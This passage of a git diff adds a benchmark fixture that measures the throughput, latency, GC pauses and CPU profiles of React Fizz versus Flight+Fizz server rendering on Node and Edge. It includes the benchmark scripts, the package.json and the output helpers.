+        renderRSCNode(clientManifest, RSCAppAsync, ITEM_COUNT),
+        res
+      );
+    },
+    '/flight-edge-sync': function (res) {
+      pipeToRes(
+        renderFlightFizzEdge(
+          renderRSCEdge,
+          RSCApp,
+          ITEM_COUNT,
+          clientManifest,
+          ssrManifest
+        ),
+        res
+      );
+    },
+    '/flight-edge-sync.rsc': function (res) {
+      pipeStreamToRes(renderRSCEdge(clientManifest, RSCApp, ITEM_COUNT), res);
+    },
+    '/flight-edge-async': function (res) {
+      pipeToRes(
+        renderFlightFizzEdge(
+          renderRSCEdge,
+          RSCAppAsync,
+          ITEM_COUNT,
+          clientManifest,
+          ssrManifest
+        ),
+        res
+      );
+    },
+    '/flight-edge-async.rsc': function (res) {
+      pipeStreamToRes(
+        renderRSCEdge(clientManifest, RSCAppAsync, ITEM_COUNT),
+        res
+      );
+    },
+  };
+
+  const server = http.createServer(function (req, res) {
+    const handler = routes[req.url];
+    if (!handler) {
+      if (req.url === '/' || req.url === '') {
+        res.writeHead(200, {'Content-Type': 'text/html'});
+        res.end(
+          '<html><body><h1>Flight SSR Bench</h1><ul>' +
+            Object.keys(routes)
+              .map(function (r) {
+                return '<li><a href="' + r + '">' + r + '</a></li>';
+              })
+              .join('') +
+            '</ul></body></html>'
+        );
+        return;
+      }
+      res.writeHead(404);
+      res.end('Not found');
+      return;
+    }
+    const contentType = req.url.endsWith('.rsc')
+      ? 'text/x-component'
+      : 'text/html';
+    res.writeHead(200, {'Content-Type': contentType});
+    handler(res);
+  });
+
+  await new Promise(function (resolve) {
+    server.listen(PORT, resolve);
+  });
+
+  console.log('\nServer listening on http://localhost:%d', PORT);
+  console.log('Endpoints:');
+  for (const route of Object.keys(routes)) {
+    console.log('  http://localhost:%d%s', PORT, route);
+  }
+
+  if (!process.argv.includes('--bench')) {
+    return;
+  }
+
+  // Run autocannon against each endpoint.
+  // Use a fixed request count (amount) instead of duration so that all
+  // in-flight requests complete before autocannon closes connections.
+  const autocannon = require('autocannon');
+  const concurrencyLevels = [1, 10];
+  const WARMUP_AMOUNT = 200;
+  const BENCH_AMOUNT = 1000;
+
+  function runAutocannon(benchUrl, connections, amount) {
+    return new Promise(function (resolve, reject) {
+      const instance = autocannon({url: benchUrl, connections, amount});
+      autocannon.track(instance, {
+        renderProgressBar: false,
+        renderResultsTable: false,
+      });
+      instance.on('done', resolve);
+      instance.on('error', reject);
+    });
+  }
+
+  for (const c of concurrencyLevels) {
+    console.log(
+      '\n--- HTTP Benchmark (%d warmup, c=%d, %d requests) ---\n',
+      WARMUP_AMOUNT,
+      c,
+      BENCH_AMOUNT
+    );
+
+    const results = {};
+    const benchRoutes = Object.keys(routes).filter(function (r) {
+      return !r.endsWith('.rsc');
+    });
+    const labelWidth = Math.max(
+      ...benchRoutes.map(function (r) {
+        return r.length - 1;
+      })
+    );
+
+    const header =
+      ''.padEnd(labelWidth) +
+      '  ' +
+      'req/s'.padStart(14) +
+      '  ' +
+      'p50'.padStart(8) +
+      '  ' +
+      'p99'.padStart(8);
+    console.log('  ' + header);
+    console.log('  ' + '-'.repeat(header.length));
+
+    for (const route of benchRoutes) {
+      const label = route.slice(1);
+      const benchUrl = 'http://localhost:' + PORT + route;
+
+      // Warmup
+      await runAutocannon(benchUrl, c, WARMUP_AMOUNT);
+
+      const data = await runAutocannon(benchUrl, c, BENCH_AMOUNT);
+      const reqPerSec = (1000 / data.latency.mean) * data.connections;
+      const latencyMedian = data.latency.p50;
+      const latencyP99 = data.latency.p99;
+      const errors = data.errors + data.timeouts;
+
+      results[label] = {reqPerSec, latencyMedian, latencyP99};
+
+      let line =
+        '  ' +
+        label.padEnd(labelWidth) +
+        '  ' +
+        String(reqPerSec.toFixed(1)).padStart(8) +
+        ' req/s' +
+        '  ' +
+        String(latencyMedian).padStart(5) +
+        ' ms' +
+        '  ' +
+        String(latencyP99).padStart(5) +
+        ' ms';
+      if (errors > 0) {
+        line += '  (' + errors + ' errors)';
+      }
+      console.log(line);
+    }
+
+    const rps = function (r) {
+      return r.reqPerSec;
+    };
+
+    console.log('\n--- Flight overhead (c=%d) ---\n', c);
+    printGrid(
+      ['Fizz', 'Flight+Fizz'],
+      [
+        ['Node sync', results['fizz-node-sync'], results['flight-node-sync']],
+        [
+          'Node async',
+          results['fizz-node-async'],
+          results['flight-node-async'],
+        ],
+        ['Edge sync', results['fizz-edge-sync'], results['flight-edge-sync']],
+        [
+          'Edge async',
+          results['fizz-edge-async'],
+          results['flight-edge-async'],
+        ],
+      ],
+      rps,
+      'req/s'
+    );
+
+    console.log('\n--- Edge vs Node (c=%d) ---\n', c);
+    printGrid(
+      ['Node', 'Edge'],
+      [
+        ['Fizz sync', results['fizz-node-sync'], results['fizz-edge-sync']],
+        ['Fizz async', results['fizz-node-async'], results['fizz-edge-async']],
+        [
+          'Flight+Fizz sync',
+          results['flight-node-sync'],
+          results['flight-edge-sync'],
+        ],
+        [
+          'Flight+Fizz async',
+          results['flight-node-async'],
+          results['flight-edge-async'],
+        ],
+      ],
+      rps,
+      'req/s'
+    );
+  }
+
+  server.close();
+}
+
+main().catch(function (err) {
+  console.error(err);
+  process.exit(1);
+});
diff --git a/fixtures/flight-ssr-bench/bench.js b/fixtures/flight-ssr-bench/bench.js
new file mode 100644
index 000000000000..e07bf62b3ab3
--- /dev/null
+++ b/fixtures/flight-ssr-bench/bench.js
@@ -0,0 +1,726 @@
+'use strict';
+
+require('@babel/register')({
+  presets: [['@babel/preset-react', {runtime: 'automatic'}]],
+  plugins: ['@babel/plugin-transform-modules-commonjs'],
+  only: [/\/src\//],
+});
+
+const path = require('path');
+const fs = require('fs');
+const webpack = require('webpack');
+const inspector = require('node:inspector');
+
+const {clientManifest, ssrManifest} = require('./webpack-mock');
+
+const PROFILE_MODE = process.argv.includes('--profile');
+const CONCURRENT_MODE = process.argv.includes('--concurrent');
+const INJECT = !process.argv.includes('--no-injection');
+
+// ---------------------------------------------------------------------------
+// Build
+// ---------------------------------------------------------------------------
+
+function build() {
+  const config = require('./webpack.config');
+  return new Promise(function (resolve, reject) {
+    webpack(config, function (err, stats) {
+      if (err) {
+        reject(err);
+        return;
+      }
+      if (stats.hasErrors()) {
+        reject(new Error(stats.toString({errors: true})));
+        return;
+      }
+      console.log(
+        stats.toString({colors: true, modules: false, entrypoints: false})
+      );
+      resolve();
+    });
+  });
+}
+
+// ---------------------------------------------------------------------------
+// Render helpers
+// ---------------------------------------------------------------------------
+
+const {
+  renderFizzNode: renderFizzNodeStream,
+  renderFizzEdge: renderFizzEdgeStream,
+  renderFlightFizzNode: renderFlightFizzNodeStream,
+  renderFlightFizzEdge: renderFlightFizzEdgeStream,
+  nodeStreamToString,
+  webStreamToString,
+} = require('./render-helpers');
+const {printGrid} = require('./print-helpers');
+
+function renderFizzNode(AppComponent, itemCount) {
+  return nodeStreamToString(renderFizzNodeStream(AppComponent, itemCount));
+}
+
+function renderFizzEdge(AppComponent, itemCount) {
+  return renderFizzEdgeStream(AppComponent, itemCount).then(webStreamToString);
+}
+
+function renderFlightFizzNode(renderRSCNode, AppComponent, itemCount) {
+  return nodeStreamToString(
+    renderFlightFizzNodeStream(
+      renderRSCNode,
+      AppComponent,
+      itemCount,
+      clientManifest,
+      ssrManifest,
+      {inject: INJECT}
+    )
+  );
+}
+
+function renderFlightFizzEdge(renderRSCEdge, AppComponent, itemCount) {
+  return renderFlightFizzEdgeStream(
+    renderRSCEdge,
+    AppComponent,
+    itemCount,
+    clientManifest,
+    ssrManifest,
+    {inject: INJECT}
+  ).then(webStreamToString);
+}
+
+// ---------------------------------------------------------------------------
+// Benchmarking
+// ---------------------------------------------------------------------------
+
+const canGC = typeof globalThis.gc === 'function';
+
+async function runBenchmark(name, fn, iterations, warmup) {
+  if (canGC) globalThis.gc();
+
+  // Warmup
+  for (let i = 0; i < warmup; i++) {
+    await fn();
+  }
+
+  // Collect GC pauses during timed iterations.
+  let gcCount = 0;
+  let gcTotalMs = 0;
+  const gcObs = new PerformanceObserver(list => {
+    for (const entry of list.getEntries()) {
+      gcCount++;
+      gcTotalMs += entry.duration;
+    }
+  });
+  gcObs.observe({entryTypes: ['gc']});
+
+  // Timed iterations
+  const times = [];
+  for (let i = 0; i < iterations; i++) {
+    const start = performance.now();
+    await fn();
+    times.push(performance.now() - start);
+  }
+  gcObs.disconnect();
+
+  // Trim top/bottom 5% to remove outliers
+  const sorted = [...times].sort((a, b) => a - b);
+  const trimCount = Math.floor(sorted.length * 0.05);
+  const trimmed = sorted.slice(trimCount, sorted.length - trimCount);
+
+  const mean = trimmed.reduce((s, t) => s + t, 0) / trimmed.length;
+  const median = sorted[Math.floor(sorted.length / 2)];
+  const stddev = Math.sqrt(
+    trimmed.reduce((s, t) => s + (t - mean) ** 2, 0) / trimmed.length
+  );
+  const p95 = sorted[Math.floor(sorted.length * 0.95)];
+  const min = sorted[0];
+  const max = sorted[sorted.length - 1];
+
+  return {
+    name,
+    mean,
+    median,
+    stddev,
+    p95,
+    min,
+    max,
+    iterations,
+    gcCount,
+    gcTotalMs,
+  };
+}
+
+function printResult(result) {
+  console.log('  %s:', result.name);
+  console.log('    Mean:   %s ms', result.mean.toFixed(2));
+  console.log('    Median: %s ms', result.median.toFixed(2));
+  console.log('    Stddev: %s ms', result.stddev.toFixed(2));
+  console.log('    P95:    %s ms', result.p95.toFixed(2));
+  console.log('    Min:    %s ms', result.min.toFixed(2));
+  console.log('    Max:    %s ms', result.max.toFixed(2));
+  console.log(
+    '    GC:     %d pauses, %s ms total (%s ms/iter)',
+    result.gcCount,
+    result.gcTotalMs.toFixed(1),
+    (result.gcTotalMs / result.iterations).toFixed(2)
+  );
+}
+
+async function runConcurrent(name, fn, total, concurrency, warmup) {
+  if (canGC) globalThis.gc();
+
+  for (let i = 0; i < warmup; i++) {
+    await fn();
+  }
+
+  let gcCount = 0;
+  let gcTotalMs = 0;
+  const gcObs = new PerformanceObserver(list => {
+    for (const entry of list.getEntries()) {
+      gcCount++;
+      gcTotalMs += entry.duration;
+    }
+  });
+  gcObs.observe({entryTypes: ['gc']});
+
+  const latencies = new Array(total);
+  let completed = 0;
+  let launched = 0;
+
+  const start = performance.now();
+  await new Promise(resolve => {
+    function launch() {
+      while (launched < total && launched - completed < concurrency) {
+        const idx = launched++;
+        const t0 = performance.now();
+        fn().then(() => {
+          latencies[idx] = performance.now() - t0;
+          completed++;
+          if (completed === total) {
+            resolve();
+          } else {
+            launch();
+          }
+        });
+      }
+    }
+    launch();
+  });
+  const elapsed = performance.now() - start;
+  gcObs.disconnect();
+
+  const sorted = [...latencies].sort((a, b) => a - b);
+  const mean = sorted.reduce((s, t) => s + t, 0) / sorted.length;
+  const p95 = sorted[Math.floor(sorted.length * 0.95)];
+
+  return {
+    name,
+    reqPerSec: (total / elapsed) * 1000,
+    mean,
+    p95,
+    total,
+    concurrency,
+    gcCount,
+    gcTotalMs,
+  };
+}
+
+function printConcurrentResult(result) {
+  console.log('  %s:', result.name);
+  console.log('    Req/s:  %s', result.reqPerSec.toFixed(1));
+  console.log('    Mean:   %s ms', result.mean.toFixed(2));
+  console.log('    P95:    %s ms', result.p95.toFixed(2));
+  console.log(
+    '    GC:     %d pauses, %s ms total (%s ms/req)',
+    result.gcCount,
+    result.gcTotalMs.toFixed(1),
+    (result.gcTotalMs / result.total).toFixed(2)
+  );
+}
+
+// ---------------------------------------------------------------------------
+// CPU Profiling
+// ---------------------------------------------------------------------------
+
+function startProfiler() {
+  const session = new inspector.Session();
+  session.connect();
+  return new Promise(function (resolve, reject) {
+    session.post('Profiler.enable', function (err) {
+      if (err) {
+        reject(err);
+        return;
+      }
+      session.post('Profiler.start', function (err2) {
+        if (err2) {
+          reject(err2);
+          return;
+        }
+        resolve(session);
+      });
+    });
+  });
+}
+
+function stopProfiler(session, outputPath) {
+  return new Promise(function (resolve, reject) {
+    session.post('Profiler.stop', function (err, {profile}) {
+      if (err) {
+        reject(err);
+        return;
+      }
+      fs.mkdirSync(path.dirname(outputPath), {recursive: true});
+      fs.writeFileSync(outputPath, JSON.stringify(profile));
+      session.post('Profiler.disable');
+      session.disconnect();
+      resolve(profile);
+    });
+  });
+}
+
+function printTopFunctions(profile, topN) {
+  // Aggregate self-time per function from the profile nodes.
+  const selfTimes = new Map();
+  for (const node of profile.nodes) {
+    const name = node.callFrame.functionName || '(anonymous)';
+    const loc = node.callFrame.url
+      ? node.callFrame.url.replace(/.*\//, '') + ':' + node.callFrame.lineNumber
+      : '(native)';
+    const key = name + ' @ ' + loc;
+    const hitCount = node.hitCount || 0;
+    selfTimes.set(key, (selfTimes.get(key) || 0) + hitCount);
+  }
+
+  const sorted = [...selfTimes.entries()]
+    .sort((a, b) => b[1] - a[1])
+    .slice(0, topN);
+
+  const totalSamples = profile.nodes.reduce((s, n) => s + (n.hitCount || 0), 0);
+
+  console.log('    Top %d functions by self-time:', topN);
+  for (const [key, hits] of sorted) {
+    const pct = ((hits / totalSamples) * 100).toFixed(1);
+    console.log('      %s%% - %s', pct, key);
+  }
+}
+
+async function profileRun(name, fn, warmup, iterations, outputPath) {
+  // Warmup (unprofiled)
+  for (let i = 0; i < warmup; i++) {
+    await fn();
+  }
+
+  // Collect GC pauses during the profiled run.
+  let gcCount = 0;
+  let gcTotalMs = 0;
+  const gcObs = new PerformanceObserver(list => {
+    for (const entry of list.getEntries()) {
+      gcCount++;
+      gcTotalMs += entry.duration;
+    }
+  });
+  gcObs.observe({entryTypes: ['gc']});
+
+  // Profiled run
+  const session = await startProfiler();
+  for (let i = 0; i < iterations; i++) {
+    await fn();
+  }
+  const profile = await stopProfiler(session, outputPath);
+  gcObs.disconnect();
+
+  console.log('  %s → %s', name, outputPath);
+  printTopFunctions(profile, 10);
+  console.log(
+    '    GC: %d pauses, %s ms total (%s ms/iter)',
+    gcCount,
+    gcTotalMs.toFixed(1),
+    (gcTotalMs / iterations).toFixed(2)
+  );
+}
+
+// ---------------------------------------------------------------------------
+// Main
+// ---------------------------------------------------------------------------
+
+async function main() {
+  console.log('Building RSC bundle...\n');
+  await build();
+
+  const {
+    renderRSCNode,
+    renderRSCEdge,
+    App: RSCApp,
+    AppAsync: RSCAppAsync,
+  } = require('./build/rsc-bundle.js');
+  const App = require('./src/App.js').default;
+  const AppAsync = require('./src/AppAsync.js').default;
+
+  const ITEM_COUNT = 200;
+
+  const WARMUP = 50;
+  const ITERATIONS = 1000;
+  const PROFILE_WARMUP = 50;
+  const PROFILE_ITERATIONS = 500;
+
+  // --- Verify renders ---
+  console.log('\n--- Verifying renders ---\n');
+
+  const fizzNodeHtml = await renderFizzNode(App, ITEM_COUNT);
+  console.log('Fizz (Node, sync):          %d bytes', fizzNodeHtml.length);
+
+  const flightFizzNodeHtml = await renderFlightFizzNode(
+    renderRSCNode,
+    RSCApp,
+    ITEM_COUNT
+  );
+  console.log(
+    'Flight + Fizz (Node, sync): %d bytes',
+    flightFizzNodeHtml.length
+  );
+
+  const fizzNodeAsyncHtml = await renderFizzNode(AppAsync, ITEM_COUNT);
+  console.log('Fizz (Node, async):         %d bytes', fizzNodeAsyncHtml.length);
+
+  const flightFizzNodeAsyncHtml = await renderFlightFizzNode(
+    renderRSCNode,
+    RSCAppAsync,
+    ITEM_COUNT
+  );
+  console.log(
+    'Flight + Fizz (Node, async):%d bytes',
+    flightFizzNodeAsyncHtml.length
+  );
+
+  const fizzEdgeHtml = await renderFizzEdge(App, ITEM_COUNT);
+  console.log('Fizz (Edge, sync):          %d bytes', fizzEdgeHtml.length);
+
+  const fizzEdgeAsyncHtml = await renderFizzEdge(AppAsync, ITEM_COUNT);
+  console.log('Fizz (Edge, async):         %d bytes', fizzEdgeAsyncHtml.length);
+
+  const flightFizzEdgeHtml = await renderFlightFizzEdge(
+    renderRSCEdge,
+    RSCApp,
+    ITEM_COUNT
+  );
+  console.log(
+    'Flight + Fizz (Edge, sync): %d bytes',
+    flightFizzEdgeHtml.length
+  );
+
+  const flightFizzEdgeAsyncHtml = await renderFlightFizzEdge(
+    renderRSCEdge,
+    RSCAppAsync,
+    ITEM_COUNT
+  );
+  console.log(
+    'Flight + Fizz (Edge, async):%d bytes',
+    flightFizzEdgeAsyncHtml.length
+  );
+
+  // --- CPU Profiling ---
+  if (PROFILE_MODE) {
+    console.log(
+      '\n--- CPU Profiling (%d warmup, %d iterations) ---\n',
+      PROFILE_WARMUP,
+      PROFILE_ITERATIONS
+    );
+
+    const profileDir = path.resolve(__dirname, 'build/profiles');
+
+    await profileRun(
+      'Fizz (Node, sync)',
+      () => renderFizzNode(App, ITEM_COUNT),
+      PROFILE_WARMUP,
+      PROFILE_ITERATIONS,
+      path.join(profileDir, 'fizz-node-sync.cpuprofile')
+    );
+
+    await profileRun(
+      'Flight + Fizz (Node, sync)',
+      () => renderFlightFizzNode(renderRSCNode, RSCApp, ITEM_COUNT),
+      PROFILE_WARMUP,
+      PROFILE_ITERATIONS,
+      path.join(profileDir, 'flight-fizz-node-sync.cpuprofile')
+    );
+
+    await profileRun(
+      'Fizz (Node, async)',
+      () => renderFizzNode(AppAsync, ITEM_COUNT),
+      PROFILE_WARMUP,
+      PROFILE_ITERATIONS,
+      path.join(profileDir, 'fizz-node-async.cpuprofile')
+    );
+
+    await profileRun(
+      'Flight + Fizz (Node, async)',
+      () => renderFlightFizzNode(renderRSCNode, RSCAppAsync, ITEM_COUNT),
+      PROFILE_WARMUP,
+      PROFILE_ITERATIONS,
+      path.join(profileDir, 'flight-fizz-node-async.cpuprofile')
+    );
+
+    await profileRun(
+      'Fizz (Edge, sync)',
+      () => renderFizzEdge(App, ITEM_COUNT),
+      PROFILE_WARMUP,
+      PROFILE_ITERATIONS,
+      path.join(profileDir, 'fizz-edge-sync.cpuprofile')
+    );
+
+    await profileRun(
+      'Flight + Fizz (Edge, sync)',
+      () => renderFlightFizzEdge(renderRSCEdge, RSCApp, ITEM_COUNT),
+      PROFILE_WARMUP,
+      PROFILE_ITERATIONS,
+      path.join(profileDir, 'flight-fizz-edge-sync.cpuprofile')
+    );
+
+    await profileRun(
+      'Fizz (Edge, async)',
+      () => renderFizzEdge(AppAsync, ITEM_COUNT),
+      PROFILE_WARMUP,
+      PROFILE_ITERATIONS,
+      path.join(profileDir, 'fizz-edge-async.cpuprofile')
+    );
+
+    await profileRun(
+      'Flight + Fizz (Edge, async)',
+      () => renderFlightFizzEdge(renderRSCEdge, RSCAppAsync, ITEM_COUNT),
+      PROFILE_WARMUP,
+      PROFILE_ITERATIONS,
+      path.join(profileDir, 'flight-fizz-edge-async.cpuprofile')
+    );
+
+    console.log(
+      '\nProfiles saved to build/profiles/. Open in Chrome DevTools or speedscope.app.'
+    );
+
+    return;
+  }
+
+  // --- Concurrent Benchmark ---
+  if (CONCURRENT_MODE) {
+    const CONCURRENCY = 50;
+    const TOTAL = 1000;
+    const CONC_WARMUP = 20;
+
+    console.log(
+      '\n--- Concurrent Benchmark (%d warmup, %d concurrency, %d requests, %d items) ---\n',
+      CONC_WARMUP,
+      CONCURRENCY,
+      TOTAL,
+      ITEM_COUNT
+    );
+
+    const fizzNodeSync = await runConcurrent(
+      'Fizz (Node, sync)',
+      () => renderFizzNode(App, ITEM_COUNT),
+      TOTAL,
+      CONCURRENCY,
+      CONC_WARMUP
+    );
+    printConcurrentResult(fizzNodeSync);
+
+    const flightFizzNodeSync = await runConcurrent(
+      'Flight + Fizz (Node, sync)',
+      () => renderFlightFizzNode(renderRSCNode, RSCApp, ITEM_COUNT),
+      TOTAL,
+      CONCURRENCY,
+      CONC_WARMUP
+    );
+    printConcurrentResult(flightFizzNodeSync);
+
+    const fizzNodeAsync = await runConcurrent(
+      'Fizz (Node, async)',
+      () => renderFizzNode(AppAsync, ITEM_COUNT),
+      TOTAL,
+      CONCURRENCY,
+      CONC_WARMUP
+    );
+    printConcurrentResult(fizzNodeAsync);
+
+    const flightFizzNodeAsync = await runConcurrent(
+      'Flight + Fizz (Node, async)',
+      () => renderFlightFizzNode(renderRSCNode, RSCAppAsync, ITEM_COUNT),
+      TOTAL,
+      CONCURRENCY,
+      CONC_WARMUP
+    );
+    printConcurrentResult(flightFizzNodeAsync);
+
+    const fizzEdgeSync = await runConcurrent(
+      'Fizz (Edge, sync)',
+      () => renderFizzEdge(App, ITEM_COUNT),
+      TOTAL,
+      CONCURRENCY,
+      CONC_WARMUP
+    );
+    printConcurrentResult(fizzEdgeSync);
+
+    const flightFizzEdgeSync = await runConcurrent(
+      'Flight + Fizz (Edge, sync)',
+      () => renderFlightFizzEdge(renderRSCEdge, RSCApp, ITEM_COUNT),
+      TOTAL,
+      CONCURRENCY,
+      CONC_WARMUP
+    );
+    printConcurrentResult(flightFizzEdgeSync);
+
+    const fizzEdgeAsync = await runConcurrent(
+      'Fizz (Edge, async)',
+      () => renderFizzEdge(AppAsync, ITEM_COUNT),
+      TOTAL,
+      CONCURRENCY,
+      CONC_WARMUP
+    );
+    printConcurrentResult(fizzEdgeAsync);
+
+    const flightFizzEdgeAsync = await runConcurrent(
+      'Flight + Fizz (Edge, async)',
+      () => renderFlightFizzEdge(renderRSCEdge, RSCAppAsync, ITEM_COUNT),
+      TOTAL,
+      CONCURRENCY,
+      CONC_WARMUP
+    );
+    printConcurrentResult(flightFizzEdgeAsync);
+
+    const rps = r => r.reqPerSec;
+
+    console.log('\n--- Flight overhead ---\n');
+    printGrid(
+      ['Fizz', 'Flight+Fizz'],
+      [
+        ['Node sync', fizzNodeSync, flightFizzNodeSync],
+        ['Node async', fizzNodeAsync, flightFizzNodeAsync],
+        ['Edge sync', fizzEdgeSync, flightFizzEdgeSync],
+        ['Edge async', fizzEdgeAsync, flightFizzEdgeAsync],
+      ],
+      rps,
+      'req/s',
+      'higher is better'
+    );
+
+    console.log('\n--- Edge vs Node ---\n');
+    printGrid(
+      ['Node', 'Edge'],
+      [
+        ['Fizz sync', fizzNodeSync, fizzEdgeSync],
+        ['Fizz async', fizzNodeAsync, fizzEdgeAsync],
+        ['Flight+Fizz sync', flightFizzNodeSync, flightFizzEdgeSync],
+        ['Flight+Fizz async', flightFizzNodeAsync, flightFizzEdgeAsync],
+      ],
+      rps,
+      'req/s',
+      'higher is better'
+    );
+
+    return;
+  }
+
+  // --- Benchmark ---
+  console.log(
+    '\n--- Benchmark (%d warmup, %d iterations, %d items) ---\n',
+    WARMUP,
+    ITERATIONS,
+    ITEM_COUNT
+  );
+
+  const fizzNodeSync = await runBenchmark(
+    'Fizz (Node, sync)',
+    () => renderFizzNode(App, ITEM_COUNT),
+    ITERATIONS,
+    WARMUP
+  );
+  printResult(fizzNodeSync);
+
+  const flightFizzNodeSync = await runBenchmark(
+    'Flight + Fizz (Node, sync)',
+    () => renderFlightFizzNode(renderRSCNode, RSCApp, ITEM_COUNT),
+    ITERATIONS,
+    WARMUP
+  );
+  printResult(flightFizzNodeSync);
+
+  const fizzNodeAsync = await runBenchmark(
+    'Fizz (Node, async)',
+    () => renderFizzNode(AppAsync, ITEM_COUNT),
+    ITERATIONS,
+    WARMUP
+  );
+  printResult(fizzNodeAsync);
+
+  const flightFizzNodeAsync = await runBenchmark(
+    'Flight + Fizz (Node, async)',
+    () => renderFlightFizzNode(renderRSCNode, RSCAppAsync, ITEM_COUNT),
+    ITERATIONS,
+    WARMUP
+  );
+  printResult(flightFizzNodeAsync);
+
+  const fizzEdgeSync = await runBenchmark(
+    'Fizz (Edge, sync)',
+    () => renderFizzEdge(App, ITEM_COUNT),
+    ITERATIONS,
+    WARMUP
+  );
+  printResult(fizzEdgeSync);
+
+  const flightFizzEdgeSync = await runBenchmark(
+    'Flight + Fizz (Edge, sync)',
+    () => renderFlightFizzEdge(renderRSCEdge, RSCApp, ITEM_COUNT),
+    ITERATIONS,
+    WARMUP
+  );
+  printResult(flightFizzEdgeSync);
+
+  const fizzEdgeAsync = await runBenchmark(
+    'Fizz (Edge, async)',
+    () => renderFizzEdge(AppAsync, ITEM_COUNT),
+    ITERATIONS,
+    WARMUP
+  );
+  printResult(fizzEdgeAsync);
+
+  const flightFizzEdgeAsync = await runBenchmark(
+    'Flight + Fizz (Edge, async)',
+    () => renderFlightFizzEdge(renderRSCEdge, RSCAppAsync, ITEM_COUNT),
+    ITERATIONS,
+    WARMUP
+  );
+  printResult(flightFizzEdgeAsync);
+
+  const median = r => r.median;
+
+  console.log('\n--- Flight overhead ---\n');
+  printGrid(
+    ['Fizz', 'Flight+Fizz'],
+    [
+      ['Node sync', fizzNodeSync, flightFizzNodeSync],
+      ['Node async', fizzNodeAsync, flightFizzNodeAsync],
+      ['Edge sync', fizzEdgeSync, flightFizzEdgeSync],
+      ['Edge async', fizzEdgeAsync, flightFizzEdgeAsync],
+    ],
+    median,
+    'ms',
+    'median, lower is better'
+  );
+
+  console.log('\n--- Edge vs Node ---\n');
+  printGrid(
+    ['Node', 'Edge'],
+    [
+      ['Fizz sync', fizzNodeSync, fizzEdgeSync],
+      ['Fizz async', fizzNodeAsync, fizzEdgeAsync],
+      ['Flight+Fizz sync', flightFizzNodeSync, flightFizzEdgeSync],
+      ['Flight+Fizz async', flightFizzNodeAsync, flightFizzEdgeAsync],
+    ],
+    median,
+    'ms',
+    'median, lower is better'
+  );
+}
+
+main().catch(function (err) {
+  console.error(err);
+  process.exit(1);
+});
diff --git a/fixtures/flight-ssr-bench/package.json b/fixtures/flight-ssr-bench/package.json
new file mode 100644
index 000000000000..6f0cfa09d737
--- /dev/null
+++ b/fixtures/flight-ssr-bench/package.json
@@ -0,0 +1,34 @@
+{
+  "name": "flight-ssr-bench",
+  "version": "0.1.0",
+  "private": true,
+  "devEngines": {
+    "node": "20.x || 22.x"
+  },
+  "dependencies": {
+    "@babel/core": "^7.16.0",
+    "@babel/preset-react": "^7.22.5",
+    "@babel/register": "^7.28.6",
+    "babel-loader": "^8.2.3",
+    "react": "experimental",
+    "react-dom": "experimental",
+    "react-server-dom-webpack": "experimental",
+    "autocannon": "^8.0.0",
+    "webpack": "^5.64.4"
+  },
+  "scripts": {
+    "copy-modules": "cp -r ../../build/oss-experimental/* ./node_modules/",
+    "prebench": "yarn copy-modules",
+    "prebench:bare": "yarn copy-modules",
+    "prebench:profile": "yarn copy-modules",
+    "prebench:concurrent": "yarn copy-modules",
+    "prebench:server": "yarn copy-modules",
+    "prestart": "yarn copy-modules",
+    "start": "NODE_ENV=production node bench-server.js",
+    "bench": "NODE_ENV=production node --expose-gc bench.js",
+    "bench:profile": "NODE_ENV=production node --expose-gc bench.js --profile",
+    "bench:bare": "NODE_ENV=production node --expose-gc bench.js --no-injection",
+    "bench:concurrent": "NODE_ENV=production node --expose-gc bench.js --concurrent",
+    "bench:server": "NODE_ENV=production node bench-server.js --bench"
+  }
+}
diff --git a/fixtures/flight-ssr-bench/print-helpers.js b/fixtures/flight-ssr-bench/print-helpers.js
new file mode 100644
index 000000000000..562e25e790bc
--- /dev/null
+++ b/fixtures/flight-ssr-bench/print-helpers.js
@@ -0,0 +1,54 @@
+'use strict';
+
+function printGrid(colHeaders, rows, getValue, unit, note) {
+  const labelWidth = Math.max(
+    ...rows.map(function (r) {
+      return r[0].length;
+    })
+  );
+  const suffix = unit ? ' ' + unit : '';
+  const fmtVal = function (v) {
+    return (v.toFixed(1) + suffix).padStart(10 + suffix.length);
+  };
+  const fmtPct = function (v) {
+    return ((v >= 0 ? '+' : '') + v.toFixed(1) + '%').padStart(8);
+  };
+  const fmtFactor = function (va, vb) {
+    return ((vb / va).toFixed(2) + 'x').padStart(7);
+  };
+  const colWidth = 10 + suffix.length;
+
+  const header =
+    ''.padEnd(labelWidth) +
+    '  ' +
+    colHeaders
+      .map(function (h) {
+        return h.padStart(colWidth);
+      })
+      .join('  ') +
+    '     Delta   Factor';
+  console.log('  ' + header);
+  console.log('  ' + '-'.repeat(header.length));
+  for (const [label, a, b] of rows) {
+    const va = getValue(a);
+    const vb = getValue(b);
+    const pct = ((vb - va) / va) * 100;
+    console.log(
+      '  ' +
+        label.padEnd(labelWidth) +
+        '  ' +
+        fmtVal(va) +
+        '  ' +
+        fmtVal(vb) +
+        '  ' +
+        fmtPct(pct) +
+        '  ' +
+        fmtFactor(va, vb)
+    );
+  }
+  if (note) {
+    console.log('  (%s)', note);
+  }
+}
+
+module.exports = {printGrid};
diff --git a/fixtures/flight-ssr-bench/render-helpers.js b/fixtures/flight-ssr-bench/render-helpers.js
new file mode 100644
index 000000000000..2008521cb396
--- /dev/null
+++ b/fixtures/flight-ssr-bench/render-helpers.js
@@ -0,0 +1,329 @@
+'use strict';
+
+const {PassThrough, Transform} = require('stream');
+
+// ---------------------------------------------------------------------------
+// Fizz (Node) — renders App directly via Node streams.
+// Returns a Node Readable stream of HTML.
+// ---------------------------------------------------------------------------
+
+function renderFizzNode(AppComponent, itemCount) {
+  const React = require('react');
+  const {renderToPipeableStream} = require('react-dom/server');
+
+  const output = new PassThrough();
+  const {pipe} = renderToPipeableStream(
+    React.createElement(AppComponent, {itemCount}),
+    {
+      onShellReady() {
+        pipe(output);
+      },
+      onError(e) {
+        console.error('Fizz Node error:', e);
+        output.destroy(e);
+      },
+    }
+  );
+  return output;
+}
+
+// ---------------------------------------------------------------------------
+// Fizz (Edge) — renders App directly via web streams.
+// Returns a promise that resolves to a web ReadableStream of HTML.
+// ---------------------------------------------------------------------------
+
+function renderFizzEdge(AppComponent, itemCount) {
+  const React = require('react');
+  const {renderToReadableStream} = require('react-dom/server');
+
+  return renderToReadableStream(React.createElement(AppComponent, {itemCount}));
+}
+
+// ---------------------------------------------------------------------------
+// Flight + Fizz (Node) — RSC render → tee → Fizz + script injection.
+// HTML chunks are buffered within a tick to avoid injecting scripts mid-tag.
+// Returns a Node Readable stream of HTML with injected Flight scripts.
+// ---------------------------------------------------------------------------
+
